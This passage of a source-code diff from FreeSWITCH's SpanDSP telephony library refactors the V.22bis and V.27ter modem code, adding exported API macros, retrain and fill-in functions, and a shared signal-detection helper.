+    {
+        l = 1.6f*powf(10.0f, (power - DBM0_MAX_POWER)/20.0f);
+        s->tx.gain = l*32768.0f/(TX_PULSESHAPER_GAIN*3.0f);
+        s->tx.guard_level = 0;
+    }
 }
 /*- End of function --------------------------------------------------------*/
 
-static int v22bis_tx_restart(v22bis_state_t *s, int bit_rate)
+static int v22bis_tx_restart(v22bis_state_t *s)
 {
-    s->bit_rate = bit_rate;
     cvec_zerof(s->tx.rrc_filter, sizeof(s->tx.rrc_filter)/sizeof(s->tx.rrc_filter[0]));
     s->tx.rrc_filter_step = 0;
     s->tx.scramble_reg = 0;
     s->tx.scrambler_pattern_count = 0;
-    s->tx.training = V22BIS_TRAINING_STAGE_INITIAL_SILENCE;
+    if (s->caller)
+        s->tx.training = V22BIS_TX_TRAINING_STAGE_INITIAL_SILENCE;
+    else
+        s->tx.training = V22BIS_TX_TRAINING_STAGE_INITIAL_TIMED_SILENCE;
     s->tx.training_count = 0;
     s->tx.carrier_phase = 0;
     s->tx.guard_phase = 0;
@@ -589,38 +538,116 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v22bis_set_get_bit(v22bis_state_t *s, get_bit_func_t get_bit, void *user_data)
+SPAN_DECLARE(void) v22bis_set_get_bit(v22bis_state_t *s, get_bit_func_t get_bit, void *user_data)
 {
     s->get_bit = get_bit;
-    s->user_data = user_data;
+    s->get_bit_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v22bis_set_put_bit(v22bis_state_t *s, put_bit_func_t put_bit, void *user_data)
+SPAN_DECLARE(void) v22bis_set_put_bit(v22bis_state_t *s, put_bit_func_t put_bit, void *user_data)
 {
     s->put_bit = put_bit;
-    s->user_data = user_data;
+    s->put_bit_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v22bis_restart(v22bis_state_t *s, int bit_rate)
+SPAN_DECLARE(void) v22bis_set_modem_status_handler(v22bis_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
-    if (bit_rate != 2400  &&  bit_rate != 1200)
+    s->status_handler = handler;
+    s->status_user_data = user_data;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(logging_state_t *) v22bis_get_logging_state(v22bis_state_t *s)
+{
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v22bis_restart(v22bis_state_t *s, int bit_rate)
+{
+    switch (bit_rate)
+    {
+    case 2400:
+    case 1200:
+        break;
+    default:
         return -1;
-    if (v22bis_tx_restart(s, bit_rate))
+    }
+    s->bit_rate = bit_rate;
+    s->negotiated_bit_rate = 1200;
+    if (v22bis_tx_restart(s))
         return -1;
-    return v22bis_rx_restart(s, bit_rate);
+    return v22bis_rx_restart(s);
 }
 /*- End of function --------------------------------------------------------*/
 
-v22bis_state_t *v22bis_init(v22bis_state_t *s,
-                            int bit_rate,
-                            int guard,
-                            int caller,
-                            get_bit_func_t get_bit,
-                            put_bit_func_t put_bit,
-                            void *user_data)
+SPAN_DECLARE(int) v22bis_request_retrain(v22bis_state_t *s, int bit_rate)
 {
+    /* TODO: support bit rate switching */
+    switch (bit_rate)
+    {
+    case 2400:
+    case 1200:
+        break;
+    default:
+        return -1;
+    }
+    /* TODO: support bit rate changes */
+    /* Retrain is only valid when we are normal operation at 2400bps */
+    if (s->rx.training != V22BIS_RX_TRAINING_STAGE_NORMAL_OPERATION
+        ||
+        s->tx.training != V22BIS_TX_TRAINING_STAGE_NORMAL_OPERATION
+        ||
+        s->negotiated_bit_rate != 2400)
+    {
+        return -1;
+    }
+    /* Send things back into the training process at the appropriate point.
+       The far end should detect the S1 signal, and reciprocate. */
+    span_log(&s->logging, SPAN_LOG_FLOW, "+++ Initiating a retrain\n");
+    s->rx.pattern_repeats = 0;
+    s->rx.training_count = 0;
+    s->rx.training = V22BIS_RX_TRAINING_STAGE_SCRAMBLED_ONES_AT_1200;
+    s->tx.training_count = 0;
+    s->tx.training = V22BIS_TX_TRAINING_STAGE_U0011;
+    v22bis_equalizer_coefficient_reset(s);
+    v22bis_report_status_change(s, SIG_STATUS_MODEM_RETRAIN_OCCURRED);
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v22bis_remote_loopback(v22bis_state_t *s, int enable)
+{
+    /* TODO: */
+    return -1;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v22bis_current_bit_rate(v22bis_state_t *s)
+{
+    return s->negotiated_bit_rate;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(v22bis_state_t *) v22bis_init(v22bis_state_t *s,
+                                           int bit_rate,
+                                           int guard,
+                                           int caller,
+                                           get_bit_func_t get_bit,
+                                           void *get_bit_user_data,
+                                           put_bit_func_t put_bit,
+                                           void *put_bit_user_data)
+{
+    switch (bit_rate)
+    {
+    case 2400:
+    case 1200:
+        break;
+    default:
+        return NULL;
+    }
     if (s == NULL)
     {
         if ((s = (v22bis_state_t *) malloc(sizeof(*s))) == NULL)
@@ -633,8 +660,9 @@
     s->caller = caller;
 
     s->get_bit = get_bit;
+    s->get_bit_user_data = get_bit_user_data;
     s->put_bit = put_bit;
-    s->user_data = user_data;
+    s->put_bit_user_data = put_bit_user_data;
 
     if (s->caller)
     {
@@ -643,28 +671,33 @@
     else
     {
         s->tx.carrier_phase_rate = dds_phase_ratef(2400.0f);
-        if (guard)
+        switch (guard)
         {
-            if (guard == 1)
-            {
-                s->tx.guard_phase_rate = dds_phase_ratef(550.0f);
-                s->tx.guard_level = 1500.0f;
-            }
-            else
-            {
-                s->tx.guard_phase_rate = dds_phase_ratef(1800.0f);
-                s->tx.guard_level = 1000.0f;
-            }
+        case V22BIS_GUARD_TONE_550HZ:
+            s->tx.guard_phase_rate = dds_phase_ratef(550.0f);
+            break;
+        case V22BIS_GUARD_TONE_1800HZ:
+            s->tx.guard_phase_rate = dds_phase_ratef(1800.0f);
+            break;
+        default:
+            s->tx.guard_phase_rate = 0;
+            break;
         }
     }
-    v22bis_tx_power(s, -10.0f);
+    v22bis_tx_power(s, -14.0f);
     v22bis_restart(s, s->bit_rate);
     return s;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v22bis_free(v22bis_state_t *s)
+SPAN_DECLARE(int) v22bis_release(v22bis_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v22bis_free(v22bis_state_t *s)
+{
     free(s);
     return 0;
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/v27ter_rx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v27ter_rx.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/v27ter_rx.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,3 +1,4 @@
+#define IAXMODEM_STUFF
 /*
  * SpanDSP - a series of DSP components for telephony
  *
@@ -22,26 +23,26 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v27ter_rx.c,v 1.107 2008/09/18 14:59:30 steveu Exp $
+ * $Id: v27ter_rx.c,v 1.131 2009/07/08 15:11:09 steveu Exp $
  */
 
 /*! \file */
 
 #if defined(HAVE_CONFIG_H)
-#include <config.h>
+#include "config.h"
 #endif
 
 #include <stdlib.h>
 #include <inttypes.h>
 #include <string.h>
 #include <stdio.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp/telephony.h"
 #include "spandsp/logging.h"
@@ -59,6 +60,9 @@
 #include "spandsp/v29rx.h"
 #include "spandsp/v27ter_rx.h"
 
+#include "spandsp/private/logging.h"
+#include "spandsp/private/v27ter_rx.h"
+
 #if defined(SPANDSP_USE_FIXED_POINT)
 #include "v27ter_rx_4800_fixed_rrc.h"
 #include "v27ter_rx_2400_fixed_rrc.h"
@@ -71,7 +75,13 @@
    signal to a static constellation, even though dealing with differences is all
    that is necessary. */
 
+/*! The nominal frequency of the carrier, in Hertz */
 #define CARRIER_NOMINAL_FREQ            1800.0f
+/*! The nominal baud or symbol rate in 2400bps mode */
+#define BAUD_RATE_2400                  1200
+/*! The nominal baud or symbol rate in 4800bps mode */
+#define BAUD_RATE_4800                  1600
+/*! The adaption rate coefficient for the equalizer */
 #define EQUALIZER_DELTA                 0.25f
 
 #if defined(SPANDSP_USE_FIXED_POINT)
@@ -82,10 +92,14 @@
 /* Segments of the training sequence */
 /* V.27ter defines a long and a short sequence. FAX doesn't use the
    short sequence, so it is not implemented here. */
+/*! The length of training segment 3, in symbols */
 #define V27TER_TRAINING_SEG_3_LEN       50
+/*! The length of training segment 5, in symbols */
 #define V27TER_TRAINING_SEG_5_LEN       1074
+/*! The length of training segment 6, in symbols */
 #define V27TER_TRAINING_SEG_6_LEN       8
 
+/*! The length of the equalizer buffer */
 #define V27TER_EQUALIZER_LEN    (V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN)
 
 enum
@@ -125,13 +139,13 @@
 };
 #endif
 
-float v27ter_rx_carrier_frequency(v27ter_rx_state_t *s)
+SPAN_DECLARE(float) v27ter_rx_carrier_frequency(v27ter_rx_state_t *s)
 {
     return dds_frequencyf(s->carrier_phase_rate);
 }
 /*- End of function --------------------------------------------------------*/
 
-float v27ter_rx_symbol_timing_correction(v27ter_rx_state_t *s)
+SPAN_DECLARE(float) v27ter_rx_symbol_timing_correction(v27ter_rx_state_t *s)
 {
     int steps_per_symbol;
     
@@ -140,13 +154,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-float v27ter_rx_signal_power(v27ter_rx_state_t *s)
+SPAN_DECLARE(float) v27ter_rx_signal_power(v27ter_rx_state_t *s)
 {
-    return power_meter_current_dbm0(&s->power);
+    return power_meter_current_dbm0(&s->power) + 3.98f;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v27ter_rx_signal_cutoff(v27ter_rx_state_t *s, float cutoff)
+SPAN_DECLARE(void) v27ter_rx_signal_cutoff(v27ter_rx_state_t *s, float cutoff)
 {
     /* The 0.4 factor allows for the gain of the DC blocker */
     s->carrier_on_power = (int32_t) (power_meter_level_dbm0(cutoff + 2.5f)*0.4f);
@@ -164,9 +178,9 @@
 /*- End of function --------------------------------------------------------*/
 
 #if defined(SPANDSP_USE_FIXED_POINTx)
-int v27ter_rx_equalizer_state(v27ter_rx_state_t *s, complexi16_t **coeffs)
+SPAN_DECLARE(int) v27ter_rx_equalizer_state(v27ter_rx_state_t *s, complexi16_t **coeffs)
 #else
-int v27ter_rx_equalizer_state(v27ter_rx_state_t *s, complexf_t **coeffs)
+SPAN_DECLARE(int) v27ter_rx_equalizer_state(v27ter_rx_state_t *s, complexf_t **coeffs)
 #endif
 {
     *coeffs = s->eq_coeff;
@@ -257,11 +271,7 @@
 
 #if defined(SPANDSP_USE_FIXED_POINTx)
 static void tune_equalizer(v27ter_rx_state_t *s, const complexi16_t *z, const complexi16_t *target)
-#else
-static void tune_equalizer(v27ter_rx_state_t *s, const complexf_t *z, const complexf_t *target)
-#endif
 {
-#if defined(SPANDSP_USE_FIXED_POINTx)
     complexi16_t err;
 
     /* Find the x and y mismatch from the exact constellation position. */
@@ -270,7 +280,10 @@
     err.re = ((int32_t) err.re*(int32_t) s->eq_delta) >> 15;
     err.im = ((int32_t) err.im*(int32_t) s->eq_delta) >> 15;
     cvec_circular_lmsi16(s->eq_buf, s->eq_coeff, V27TER_EQUALIZER_LEN, s->eq_step, &err);
+}
 #else
+static void tune_equalizer(v27ter_rx_state_t *s, const complexf_t *z, const complexf_t *target)
+{
     complexf_t err;
 
     /* Find the x and y mismatch from the exact constellation position. */
@@ -278,8 +291,8 @@
     err.re *= s->eq_delta;
     err.im *= s->eq_delta;
     cvec_circular_lmsf(s->eq_buf, s->eq_coeff, V27TER_EQUALIZER_LEN, s->eq_step, &err);
+}
 #endif
-}
 /*- End of function --------------------------------------------------------*/
 
 #if defined(SPANDSP_USE_FIXED_POINTx)
@@ -508,13 +521,23 @@
     {
         0, 4
     };
+    complexf_t zz;
+#if defined(SPANDSP_USE_FIXED_POINTx)
+    complexf_t z1;
+    complexi16_t z;
+    const complexi16_t *target;
+    static const complexi16_t zero = {0, 0};
+#else
     complexf_t z;
-    complexf_t zz;
+    const complexf_t *target;
+    static const complexf_t zero = {0.0f, 0.0f};
+#endif
     float p;
     int i;
     int j;
     int32_t angle;
     int32_t ang;
+    int constellation_state;
 
     /* Add a sample to the equalizer's circular buffer, but don't calculate anything
        at this time. */
@@ -536,16 +559,20 @@
     z = equalizer_get(s);
 
     //span_log(&s->logging, SPAN_LOG_FLOW, "Equalized symbol - %15.5f %15.5f\n", z.re, z.im);
+    constellation_state = s->constellation_state;
     switch (s->training_stage)
     {
     case TRAINING_STAGE_NORMAL_OPERATION:
         decode_baud(s, &z);
+        constellation_state = (s->bit_rate == 4800)  ?  s->constellation_state  :  (s->constellation_state << 1);
+        target = &v27ter_constellation[constellation_state];
         break;
     case TRAINING_STAGE_SYMBOL_ACQUISITION:
         /* Allow time for the Gardner algorithm to settle the baud timing */
         /* Don't start narrowing the bandwidth of the Gardner algorithm too early.
            Some modems are a bit wobbly when they start sending the signal. Also, we start
            this analysis before our filter buffers have completely filled. */
+        target = &zero;
         if (++s->training_count >= 30)
         {
             s->gardner_step = 32;
@@ -556,6 +583,7 @@
         break;
     case TRAINING_STAGE_LOG_PHASE:
         /* Record the current alternate phase angle */
+        target = &zero;
         angle = arctan2(z.im, z.re);
         s->angles[1] =
         s->start_angles[1] = angle;
@@ -563,6 +591,7 @@
         s->training_stage = TRAINING_STAGE_WAIT_FOR_HOP;
         break;
     case TRAINING_STAGE_WAIT_FOR_HOP:
+        target = &zero;
         angle = arctan2(z.im, z.re);
         /* Look for the initial ABAB sequence to display a phase reversal, which will
            signal the start of the scrambled ABAB segment */
@@ -620,13 +649,15 @@
                 s->eq_buf[i] = complex_mulf(&s->eq_buf[i], &zz);
 #endif
             s->carrier_phase += angle;
-
             s->gardner_step = 2;
             /* We have just seen the first element of the scrambled sequence so skip it. */
             s->training_bc = 1;
             s->training_bc ^= descramble(s, 1);
             descramble(s, 1);
             descramble(s, 1);
+            constellation_state =
+            s->constellation_state = abab_pos[s->training_bc];
+            target = &v27ter_constellation[constellation_state];
             s->training_count = 1;
             s->training_stage = TRAINING_STAGE_TRAIN_ON_ABAB;
             report_status_change(s, SIG_STATUS_TRAINING_IN_PROGRESS);
@@ -646,51 +677,52 @@
         s->training_bc ^= descramble(s, 1);
         descramble(s, 1);
         descramble(s, 1);
+        constellation_state =
         s->constellation_state = abab_pos[s->training_bc];
-        track_carrier(s, &z, &v27ter_constellation[s->constellation_state]);
-        tune_equalizer(s, &z, &v27ter_constellation[s->constellation_state]);
+        target = &v27ter_constellation[constellation_state];
+        track_carrier(s, &z, target);
+        tune_equalizer(s, &z, target);
 
+#if defined(SPANDSP_USE_FIXED_POINTx)
+        s->carrier_track_i = 400 + (200000 - 400)*(float) (V27TER_TRAINING_SEG_5_LEN - s->training_count)/(float) V27TER_TRAINING_SEG_5_LEN;
+        s->carrier_track_p = 1000000 + (10000000 - 1000000)*(float) (V27TER_TRAINING_SEG_5_LEN - s->training_count)/(float) V27TER_TRAINING_SEG_5_LEN;
+#else
+        s->carrier_track_i = 400.0f + (200000.0f - 400.0f)*(float) (V27TER_TRAINING_SEG_5_LEN - s->training_count)/(float) V27TER_TRAINING_SEG_5_LEN;
+        s->carrier_track_p = 1000000.0f + (10000000.0f - 1000000.0f)*(float) (V27TER_TRAINING_SEG_5_LEN - s->training_count)/(float) V27TER_TRAINING_SEG_5_LEN;
+#endif
         if (++s->training_count >= V27TER_TRAINING_SEG_5_LEN)
         {
+            constellation_state = 4;
             s->constellation_state = (s->bit_rate == 4800)  ?  4  :  2;
             s->training_count = 0;
             s->training_stage = TRAINING_STAGE_TEST_ONES;
-#if defined(SPANDSP_USE_FIXED_POINTx)
-            s->carrier_track_i = 400;
-            s->carrier_track_p = 1000000;
-#else
-            s->carrier_track_i = 400.0f;
-            s->carrier_track_p = 1000000.0f;
-#endif
         }
         break;
     case TRAINING_STAGE_TEST_ONES:
         decode_baud(s, &z);
+        constellation_state = (s->bit_rate == 4800)  ?  s->constellation_state  :  (s->constellation_state << 1);
+        target = &v27ter_constellation[constellation_state];
         /* Measure the training error */
 #if defined(SPANDSP_USE_FIXED_POINTx)
         z1.re = z.re/(float) FP_FACTOR;
         z1.im = z.im/(float) FP_FACTOR;
-        if (s->bit_rate == 4800)
-            zz = complex_subf(&z, &v27ter_constellation[s->constellation_state]);
-        else
-            zz = complex_subf(&z, &v27ter_constellation[s->constellation_state << 1]);
+        zz = complex_subf(&z, target);
         zz = complex_subf(&z1, &zz);
         s->training_error += powerf(&zz);
 #else
-        if (s->bit_rate == 4800)
-            zz = complex_subf(&z, &v27ter_constellation[s->constellation_state]);
-        else
-            zz = complex_subf(&z, &v27ter_constellation[s->constellation_state << 1]);
+        zz = complex_subf(&z, target);
         s->training_error += powerf(&zz);
 #endif
         if (++s->training_count >= V27TER_TRAINING_SEG_6_LEN)
         {
-            if ((s->bit_rate == 4800  &&  s->training_error < 0.5f)
+            /* At 4800bps the symbols are 1.08238 (Euclidian) apart.
+               At 2400bps the symbols are 2.0 (Euclidian) apart. */
+            if ((s->bit_rate == 4800  &&  s->training_error < V27TER_TRAINING_SEG_6_LEN*0.25f)
                 ||
-                (s->bit_rate == 2400  &&  s->training_error < 1.0f))
+                (s->bit_rate == 2400  &&  s->training_error < V27TER_TRAINING_SEG_6_LEN*0.5f))
             {
                 /* We are up and running */
-                span_log(&s->logging, SPAN_LOG_FLOW, "Training succeeded (constellation mismatch %f)\n", s->training_error);
+                span_log(&s->logging, SPAN_LOG_FLOW, "Training succeeded at %dbps (constellation mismatch %f)\n", s->bit_rate, s->training_error);
                 report_status_change(s, SIG_STATUS_TRAINING_SUCCEEDED);
                 /* Apply some lag to the carrier off condition, to ensure the last few bits get pushed through
                    the processing. */
@@ -711,8 +743,10 @@
         }
         break;
     case TRAINING_STAGE_PARKED:
+    default:
         /* We failed to train! */
         /* Park here until the carrier drops. */
+        target = &zero;
         break;
     }
     if (s->qam_report)
@@ -720,28 +754,92 @@
 #if defined(SPANDSP_USE_FIXED_POINTx)
         z1.re = z.re/(float) FP_FACTOR;
         z1.im = z.im/(float) FP_FACTOR;
-        zz.re = v27ter_constellation[s->constellation_state].re;
-        zz.im = v27ter_constellation[s->constellation_state].im;
-        s->qam_report(s->qam_user_data,
-                      &z1,
-                      &zz,
-                      s->constellation_state);
+        zz.re = target->re;
+        zz.im = target->im;
+        s->qam_report(s->qam_user_data, &z1, &zz, s->constellation_state);
 #else
-        s->qam_report(s->qam_user_data,
-                      &z,
-                      &v27ter_constellation[s->constellation_state],
-                      s->constellation_state);
+        s->qam_report(s->qam_user_data, &z, target, s->constellation_state);
 #endif
     }
 }
 /*- End of function --------------------------------------------------------*/
 
-int v27ter_rx(v27ter_rx_state_t *s, const int16_t amp[], int len)
+static __inline__ int signal_detect(v27ter_rx_state_t *s, int16_t amp)
 {
+    int16_t diff;
+    int16_t x;
+    int32_t power;
+
+    /* There should be no DC in the signal, but sometimes there is.
+       We need to measure the power with the DC blocked, but not using
+       a slow to respond DC blocker. Use the most elementary HPF. */
+    x = amp >> 1;
+    /* There could be overflow here, but it isn't a problem in practice */
+    diff = x - s->last_sample;
+    s->last_sample = x;
+    power = power_meter_update(&(s->power), diff);
+#if defined(IAXMODEM_STUFF)
+    /* Quick power drop fudge */
+    diff = abs(diff);
+    if (10*diff < s->high_sample)
+    {
+        if (++s->low_samples > 120)
+        {
+            power_meter_init(&(s->power), 4);
+            s->high_sample = 0;
+            s->low_samples = 0;
+        }
+    }
+    else
+    { 
+        s->low_samples = 0;
+        if (diff > s->high_sample)
+            s->high_sample = diff;
+    }
+#endif
+    //span_log(&s->logging, SPAN_LOG_FLOW, "Power = %f\n", power_meter_current_dbm0(&(s->power)));
+    if (s->signal_present > 0)
+    {
+        /* Look for power below turn-off threshold to turn the carrier off */
+#if defined(IAXMODEM_STUFF)
+        if (s->carrier_drop_pending  ||  power < s->carrier_off_power)
+#else
+        if (power < s->carrier_off_power)
+#endif
+        {
+            if (--s->signal_present <= 0)
+            {
+                /* Count down a short delay, to ensure we push the last
+                   few bits through the filters before stopping. */
+                v27ter_rx_restart(s, s->bit_rate, FALSE);
+                report_status_change(s, SIG_STATUS_CARRIER_DOWN);
+                return 0;
+            }
+#if defined(IAXMODEM_STUFF)
+            /* Carrier has dropped, but the put_bit is pending the signal_present delay. */
+            s->carrier_drop_pending = TRUE;
+#endif
+        }
+    }
+    else
+    {
+        /* Look for power exceeding turn-on threshold to turn the carrier on */
+        if (power < s->carrier_on_power)
+            return 0;
+        s->signal_present = 1;
+#if defined(IAXMODEM_STUFF)
+        s->carrier_drop_pending = FALSE;
+#endif
+        report_status_change(s, SIG_STATUS_CARRIER_UP);
+    }
+    return power;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE_NONSTD(int) v27ter_rx(v27ter_rx_state_t *s, const int16_t amp[], int len)
+{
     int i;
     int step;
-    int16_t x;
-    int32_t diff;
 #if defined(SPANDSP_USE_FIXED_POINT)
     complexi16_t z;
     complexi16_t zz;
@@ -763,67 +861,8 @@
             if (++s->rrc_filter_step >= V27TER_RX_4800_FILTER_STEPS)
                 s->rrc_filter_step = 0;
 
-            /* There should be no DC in the signal, but sometimes there is.
-               We need to measure the power with the DC blocked, but not using
-               a slow to respond DC blocker. Use the most elementary HPF. */
-            x = amp[i] >> 1;
-            diff = x - s->last_sample;
-            power = power_meter_update(&(s->power), diff);
-#if defined(IAXMODEM_STUFF)
-            /* Quick power drop fudge */
-            diff = abs(diff);
-            if (10*diff < s->high_sample)
-            {
-                if (++s->low_samples > 120)
-                {
-                    power_meter_init(&(s->power), 4);
-                    s->high_sample = 0;
-                    s->low_samples = 0;
-                }
-            }
-            else
-            { 
-                s->low_samples = 0;
-                if (diff > s->high_sample)
-                   s->high_sample = diff;
-            }
-#endif
-            s->last_sample = x;
-            //span_log(&s->logging, SPAN_LOG_FLOW, "Power = %f\n", power_meter_current_dbm0(&(s->power)));
-            if (s->signal_present)
-            {
-                /* Look for power below turnoff threshold to turn the carrier off */
-#if defined(IAXMODEM_STUFF)
-                if (s->carrier_drop_pending  ||  power < s->carrier_off_power)
-#else
-                if (power < s->carrier_off_power)
-#endif
-                {
-                    if (--s->signal_present <= 0)
-                    {
-                        /* Count down a short delay, to ensure we push the last
-                           few bits through the filters before stopping. */
-                        v27ter_rx_restart(s, s->bit_rate, FALSE);
-                        report_status_change(s, SIG_STATUS_CARRIER_DOWN);
-                        continue;
-                    }
-#if defined(IAXMODEM_STUFF)
-                    /* Carrier has dropped, but the put_bit is pending the signal_present delay. */
-                    s->carrier_drop_pending = TRUE;
-#endif
-                }
-            }
-            else
-            {
-                /* Look for power exceeding turnon threshold to turn the carrier on */
-                if (power < s->carrier_on_power)
-                    continue;
-                s->signal_present = 1;
-#if defined(IAXMODEM_STUFF)
-                s->carrier_drop_pending = FALSE;
-#endif
-                report_status_change(s, SIG_STATUS_CARRIER_UP);
-            }
+            if ((power = signal_detect(s, amp[i])) == 0)
+                continue;
             /* Only spend effort processing this data if the modem is not
                parked, after training failure. */
             if (s->training_stage == TRAINING_STAGE_PARKED)
@@ -884,68 +923,8 @@
             if (++s->rrc_filter_step >= V27TER_RX_2400_FILTER_STEPS)
                 s->rrc_filter_step = 0;
 
-            /* There should be no DC in the signal, but sometimes there is.
-               We need to measure the power with the DC blocked, but not using
-               a slow to respond DC blocker. Use the most elementary HPF. */
-            x = amp[i] >> 1;
-            diff = x - s->last_sample;
-            power = power_meter_update(&(s->power), diff);
-#if defined(IAXMODEM_STUFF)
-            /* Quick power drop fudge */
-            diff = abs(diff);
-            if (10*diff < s->high_sample)
-            {
-                if (++s->low_samples > 120)
-                {
-                    power_meter_init(&(s->power), 4);
-                    s->high_sample = 0;
-                    s->low_samples = 0;
-                }
-            }
-            else
-            { 
-                s->low_samples = 0;
-                if (diff > s->high_sample)
-                   s->high_sample = diff;
-            }
-#endif
-            s->last_sample = x;
-            //span_log(&s->logging, SPAN_LOG_FLOW, "Power = %f\n", power_meter_current_dbm0(&(s->power)));
-            if (s->signal_present)
-            {
-                /* Look for power below turnoff threshold to turn the carrier off */
-#if defined(IAXMODEM_STUFF)
-                if (s->carrier_drop_pending  ||  power < s->carrier_off_power)
-#else
-                if (power < s->carrier_off_power)
-#endif
-                {
-                    if (--s->signal_present <= 0)
-                    {
-                        /* Count down a short delay, to ensure we push the last
-                           few bits through the filters before stopping. */
-                        v27ter_rx_restart(s, s->bit_rate, FALSE);
-                        report_status_change(s, SIG_STATUS_CARRIER_DOWN);
-                        continue;
-                    }
-#if defined(IAXMODEM_STUFF)
-                    /* Carrier has dropped, but the put_bit is
-                       pending the signal_present delay. */
-                    s->carrier_drop_pending = TRUE;
-#endif
-                }
-            }
-            else
-            {
-                /* Look for power exceeding turnon threshold to turn the carrier on */
-                if (power < s->carrier_on_power)
-                    continue;
-                s->signal_present = 1;
-#if defined(IAXMODEM_STUFF)
-                s->carrier_drop_pending = FALSE;
-#endif
-                report_status_change(s, SIG_STATUS_CARRIER_UP);
-            }
+            if ((power = signal_detect(s, amp[i])) == 0)
+                continue;
             /* Only spend effort processing this data if the modem is not
                parked, after training failure. */
             if (s->training_stage == TRAINING_STAGE_PARKED)
@@ -1002,22 +981,63 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void v27ter_rx_set_put_bit(v27ter_rx_state_t *s, put_bit_func_t put_bit, void *user_data)
+SPAN_DECLARE(int) v27ter_rx_fillin(v27ter_rx_state_t *s, int len)
 {
+    int i;
+
+    /* We want to sustain the current state (i.e carrier on<->carrier off), and
+       try to sustain the carrier phase. We should probably push the filters, as well */
+    span_log(&s->logging, SPAN_LOG_FLOW, "Fill-in %d samples\n", len);
+    if (s->signal_present <= 0)
+        return 0;
+    if (s->training_stage == TRAINING_STAGE_PARKED)
+        return 0;
+    for (i = 0;  i < len;  i++)
+    {
+#if defined(SPANDSP_USE_FIXED_POINT)
+        dds_advance(&s->carrier_phase, s->carrier_phase_rate);
+#else
+        dds_advancef(&s->carrier_phase, s->carrier_phase_rate);
+#endif
+        /* Advance the symbol phase the appropriate amount */
+        if (s->bit_rate == 4800)
+        {
+            if ((s->eq_put_step -= RX_PULSESHAPER_4800_COEFF_SETS) <= 0)
+                s->eq_put_step += RX_PULSESHAPER_4800_COEFF_SETS*5/2;
+        }
+        else
+        {
+            if ((s->eq_put_step -= RX_PULSESHAPER_2400_COEFF_SETS) <= 0)
+                s->eq_put_step += RX_PULSESHAPER_2400_COEFF_SETS*20/(3*2);
+        }
+        /* TODO: Should we rotate any buffers */
+    }
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(void) v27ter_rx_set_put_bit(v27ter_rx_state_t *s, put_bit_func_t put_bit, void *user_data)
+{
     s->put_bit = put_bit;
     s->put_bit_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v27ter_rx_set_modem_status_handler(v27ter_rx_state_t *s, modem_tx_status_func_t handler, void *user_data)
+SPAN_DECLARE(void) v27ter_rx_set_modem_status_handler(v27ter_rx_state_t *s, modem_tx_status_func_t handler, void *user_data)
 {
     s->status_handler = handler;
     s->status_user_data = user_data;
 }
 /*- End of function --------------------------------------------------------*/
 
-int v27ter_rx_restart(v27ter_rx_state_t *s, int bit_rate, int old_train)
+SPAN_DECLARE(logging_state_t *) v27ter_rx_get_logging_state(v27ter_rx_state_t *s)
 {
+    return &s->logging;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v27ter_rx_restart(v27ter_rx_state_t *s, int bit_rate, int old_train)
+{
     span_log(&s->logging, SPAN_LOG_FLOW, "Restarting V.27ter\n");
     if (bit_rate != 4800  &&  bit_rate != 2400)
         return -1;
@@ -1083,8 +1103,16 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-v27ter_rx_state_t *v27ter_rx_init(v27ter_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data)
+SPAN_DECLARE(v27ter_rx_state_t *) v27ter_rx_init(v27ter_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data)
 {
+    switch (bit_rate)
+    {
+    case 4800:
+    case 2400:
+        break;
+    default:
+        return NULL;
+    }
     if (s == NULL)
     {
         if ((s = (v27ter_rx_state_t *) malloc(sizeof(*s))) == NULL)
@@ -1102,14 +1130,20 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int v27ter_rx_free(v27ter_rx_state_t *s)
+SPAN_DECLARE(int) v27ter_rx_release(v27ter_rx_state_t *s)
 {
+    return 0;
+}
+/*- End of function --------------------------------------------------------*/
+
+SPAN_DECLARE(int) v27ter_rx_free(v27ter_rx_state_t *s)
+{
     free(s);
     return 0;
 }
 /*- End of function --------------------------------------------------------*/
 
-void v27ter_rx_set_qam_report_handler(v27ter_rx_state_t *s, qam_report_handler_t handler, void *user_data)
+SPAN_DECLARE(void) v27ter_rx_set_qam_report_handler(v27ter_rx_state_t *s, qam_report_handler_t handler, void *user_data)
 {
     s->qam_report = handler;
     s->qam_user_data = user_data;

Modified: freeswitch/branches/seven/libs/spandsp/src/v27ter_tx.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/v27ter_tx.c	2009-08-09 05:55:48 UTC (rev 14471)
